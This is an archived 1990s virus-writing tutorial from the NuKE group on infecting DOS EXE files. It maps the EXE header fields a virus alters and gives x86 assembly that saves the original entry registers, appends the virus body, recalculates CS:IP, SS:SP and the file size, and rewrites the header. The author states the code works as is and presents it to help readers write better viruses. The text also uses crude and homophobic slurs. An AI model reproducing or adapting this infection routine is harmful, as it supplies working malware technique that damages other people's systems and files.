home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut005.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  12.9 KB  |  176 lines

  1.            **************************************************  
  2.            ** EXE Infections : PART I  `Infection Process' **                
  3.            **                                              **                
  4.            **            By Rock Steady/NuKE               **
  5.            **************************************************
  6.               
  7.  We must admit there are HUGE amount of Lame Viruses out there. Ever       
  8.  wonder why so many people talk about the AIDS virus? Its a fucken over    
  9.  writting virus. Its HUGE in size and its written in PASCAL. Please! Have  
  10.  a little more respect for the virus world. What happened to that old      
  11.  Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top  
  12.  viruses as it used to! Or are we in for a surprise? (USSR Kicks!)         
  13.                                                                            
  14.  Well to help people in advancing their Virus programming ability I will   
  15.  try to explain that basics in Infecting an EXE file. There are several    
  16.  ways to infect an EXE file. And I have tried several types. The best one  
  17.  I have programmed is the one you'll see. In Basic, it will infect EXEs    
  18.  by starting a new segment, only for the virus. This will infect EXEs over 
  19.  the size of 64k, and it is alot less complicated..                        
  20.                                                                            
  21.  Before we can begin we must know a few things, about EXEs. Let's say a    
  22.  .COM file has been loaded to segment address 1234:0000. When the COM file 
  23.  runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other    
  24.  end EXE files, are basicaly several COMs in one. Where EXE files can set  
  25.  up DATA struct in one segment, CODE in another, and STACK in another. EXEs
  26.  can have an unlimited amount of Segments, its limitation is Memory        
  27.  Availablity. And the EXE file keeps track of these Segments, with an      
  28.  EXE header, telling DOS what segments start where, How big the file is,   
  29.  the amount of memory needed to run. the EXE header is the first few bytes 
  30.  of the EXE file. Though if you use DEBUG to load an EXE file you will not 
  31.  run into the EXE header, as DEBUG uses the EXE header to load its CS:IP   
  32.  regesters with, the SS:SP and so on. Though you can view the EXE header   
  33.  with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'   
  34.  Just rename an EXE, the extension can be anything you wish, however don't 
  35.  go and rename it to COM or BIN, these are reserved Extensions, and debug  
  36.  treats them differently, Example if you rename it to COM debug will load  
  37.  the IP regester as 0100h. The EXE header is Usually 28 bytes, though it   
  38.  is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in  
  39.  multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the 
  40.  last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using   
  41.  it? Just a poping ideas out in the open. Anyhow this is how the EXE header
  42.  consists, of..                                                            
  43.  START OFFSETS            DISCRIPTIONS                                     
  44.  (hex) (dec)                                                               
  45.    00 | 00 | Always 4D 5A. Marks this file as an .EXE file                 
  46.   *02 | 02 | Remainder after dividing load module's size by 512            
  47.   *04 | 04 | Size of file in 512 byte pages                                
  48.    06 | 06 | Number of relocation table entries                            
  49.   @08 | 08 | Size of header in paragraphs (16 bytes)                       
  50.    0A | 10 | Minumum number of paragraphs required after loaded program    
  51.    0C | 12 | Maximum number of paragraphs required after loaded program    
  52.   *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs     
  53.   *10 | 16 | SP regester loaded with this word                             
  54.    12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)     
  55.   *14 | 20 | IP register loaded with this word                             
  56.   *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs      
  57.    18 | 24 | Offset of first relocation item.                              
  58.    1A | 26 | Overlay number. If no overlays used, this is 0                
  59.  * = Will be Edited by our Virus                                           
  60.  @ = Needed to help our reconstruction of the EXE header                   
  61.                                                                            
  62.  First thing to do is read the EXE header for the file to be infected!     
  63.  That can be resolved by...                                                
  64.      mov     ah,3fh                 ; Read from File BTW: BX=File Handle   
  65.      mov     cx,1ch                 ; Read 1Ch Bytes (28)                  
  66.      mov     dx,offset ds:[buffer]  ; Put it in our Buffer we set up!      
  67.      int     21h                    ; Call the Dos to do it.               
  68.      jc      error_exit             ; Error accured, Jmp to an Exit Routine
  69.  buffer  db      1Ch DUP (?)     ;This is how to set up your buffer.       
  70.  exe_ip  dw      0       ;This is were you will save the original          
  71.  exe_cs  dw      0       ;Registers from the EXE header!                   
  72.  exe_sp  dw      0       ;Put all theses DWs & DBs at the end of           
  73.  exe_ss  dw      0       ;you file, with all the others...                 
  74.  Next, after reading the first 28 bytes, you will need to set your file    
  75.  pointers to the end of the file.                                          
  76.                                                                            
  77.      mov     ax,4202h        ; Move Read/Write Pointer to End of File      
  78.      xor     cx,cx           ; plus offset (CX:DX)! So make sure CX:DX     
  79.      xor     dx,dx           ; are ZERO or else it will go further than    
  80.      int     21h             ; the End of File!                            
  81.      jc      error_exit      ; Also test for errors! Be a Smart Virus!     
  82.                                                                            
  83.  After bringing your virus to the end, you may start the infection         
  84.  process...                                                                
  85.  ;Remember BX = File Handle  DX:AX Pointer Location (EOF)                  
  86.      cmp    word ptr cs:[buffer],5A4Dh  ; Is file an .EXE?                 
  87.                                   /\ Reverse double word format            
  88.      jnz    error_exit           ;Exit its NOT an .EXE file!               
  89.      mov    cx,word ptr cs:[buffer+14h]  ;IP register Read                 
  90.      mov    word ptr cs:[exe_ip],cx      ;Save IP Register                 
  91.      mov    cx,word ptr cs:[buffer+16h]  ;CS Register Read                 
  92.      mov    word ptr cs:[exe_cs],cx      ;Save CS Register                 
  93.      mov    cx,word ptr cs:[buffer+10h]  ;SP Register Read                 
  94.      mov    word ptr cs:[exe_sp],cx      ;Save SP Register                 
  95.      mov    cx,word ptr cs:[buffer+0Eh]  ;SS Register Read                 
  96.      mov    word ptr cs:[exe_ss],cx      ;Save SS Register                 
  97.                                                                            
  98.  The following finds new CS:IP and SS:SP registers. It will create a new   
  99.  segment, and CS:IP will point to the beginning of the Virus. If you have  
  100.  other code, and the virus beginning is further down the First byte, just  
  101.  add the number of Bytes to AX.                                            
  102.      push   ax                                                             
  103.      push   dx                                                             
  104.      call   Find_New_Offsets     ;Refer to it at the END of this Text      
  105.      sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!    
  106.      mov    word ptr cs:[buffer+16h],dx ;Save new CS Register              
  107.      mov    word ptr cs:[buffer+14h],ax ;Save new IP Register              
  108.      pop    dx                                                             
  109.      pop    ax           ; Restore Original DX:AX Point Location (EOF)     
  110.      add    ax,virus_size      ; .STACKs are usually at the end of the code
  111.                                ; in the EXEs, since our virus is now at the
  112.                                ; End, we must move it after our virus, thus
  113.                                ; it back at the END of the File!           
  114.      adc    dx,0         ;Add with Carry Flag!                             
  115.      push   ax                                                             
  116.      push   dx                          ;Save new EOF pointer Location     
  117.      call   Find_New_Offsets            ;Get NEW offsets for SS:SP         
  118.      sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
  119.                                         ;as it should not be counted!      
  120.      add    ax,40h                      ;Move Stacks a little after EOF    
  121.      mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks   
  122.      mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks   
  123.      pop    dx                                                             
  124.      pop    ax           ;Restore Original EOF (With Virus Counted)        
  125.      push   bx                                                             
  126.      push   cx                                                             
  127.      mov    cl,7                 ;In Simple, here we are figuring out      
  128.      shl    dx,cl                ;the New File Size in 512byte pages       
  129.      add    bx,ax                ;Now Rather than using the DIV and        
  130.      mov    cl,9                 ;MOD function, I used this one because    
  131.      shr    bx,cl                ;It is alot FASTER for the Processor!     
  132.      add    dx,bx                ;The Result is exactly same, But          
  133.      and    ax,1FFh              ;Shifting bits, results of the            
  134.      jz     Its_Even             ;Same function when dealing with base     
  135.      inc    dx                   ;16 numbers!                              
  136.  Its_Even:            ;Read PeterNorton's Advanced ASM Language for        
  137.      pop    cx        ;more neat short cuts for the above!                 
  138.      pop    bx                                                             
  139.      mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages     
  140.      mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages       
  141.  Now we are Ready to write the virus to the EXE File! (Yeah!)              
  142.      mov    ah,40h                 ;Write to File                          
  143.      mov    dx,offset init_Virus   ;This is the BEGINNING offset of your   
  144.                                    ;Virus! (Look at NuKE PoX v1.1)         
  145.      mov    cx,Virus_size          ;Virus Size                             
  146.      int    21h                                                            
  147.      jc     error_exit             ;Error Exit dude...                     
  148.      mov    ax,4200h               ;Move File Pointer to the BEGINNING     
  149.      xor    cx,cx                  ;of the EXE so, we may now write the    
  150.      xor    dx,dx                  ;EXE header!                            
  151.      int    21h                                                            
  152.      mov    ah,40h                ;Write to File                           
  153.      mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header   
  154.      mov    cx,1Ch                ;CX=number of bytes to write             
  155.      int    21h                   ;Do it!                                  
  156.                                                                            
  157.  ;  finds new Offsets for CS:IP & SS:SP Registers                          
  158.  Find_New_Offsets        PROC    NEAR                                      
  159.          push    bx                                                        
  160.          push    cx                                                        
  161.          mov     cl,0Ch              ;(c) Rock Steady/NuKE                 
  162.          shl     dx,cl               ; I'm dividing here....               
  163.          mov     bx,ax                                                     
  164.          mov     cl,4                ; And multiply by 16 hear             
  165.          shr     bx,cl                                                     
  166.          add     dx,bx                                                     
  167.          and     ax,0Fh                                                    
  168.          pop     cx                                                        
  169.          pop     bx                                                        
  170.          retn                                                              
  171.  Find_New_Offsets        ENDP                                              
  172.                          Rock Steady / NuKE                                
  173.  PS: This code works 100% as is! (Resident Virus) For Non-Residents add    
  174.      a location pointer! Besides, Why the Hell are you write a non-Ressy   
  175.      Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!  
  176.